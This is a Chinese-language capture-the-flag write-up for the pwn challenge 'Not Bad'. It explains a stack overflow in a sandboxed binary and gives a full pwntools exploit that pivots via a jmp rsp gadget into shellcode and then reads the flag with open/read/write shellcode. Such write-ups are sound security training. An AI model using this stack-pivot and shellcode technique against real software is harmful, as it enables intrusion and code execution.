【pwn】 [極客大挑戰 2019]Not Bad

例行檢查
在這裏插入圖片描述
開了沙箱
在這裏插入圖片描述

程序邏輯很簡單,存在0x18字節溢出,看是否能進行棧遷移,目前可控輸入只有buf,但是buf只有0x20大小不夠rop,所以嘗試別的方法。程序在最開始mmap了一塊內存,可寫可執行,那麼接下來目標就是1.在這塊內存上寫shellcode
2.跳轉過來執行

由於不能rop且棧是可執行的想到能不能進行jmp rsp。在程序中找到了這個指令。
在這裏插入圖片描述

那麼就可以在buf上佈置read以及跳轉的shellcode。在jmp rsp時跳轉到buf去執行,buf地址是rsp-0x30,sub rsp,0x30;jmp rsp小於8字節滿足要求。

from pwn import *

io=remote('node3.buuoj.cn',26473)
context.binary=ELF('./bad')

mmap=0x123000
jmp_rsp=0x400A01

io.recvuntil('have fun!')
pl1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
io.send(pl1)

pl2=shellcraft.open('./flag')
pl2+=shellcraft.read(3,mmap+0x100,0x50)
pl2+=shellcraft.write(1,mmap+0x100,0x50)

io.send(asm(pl2))
io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章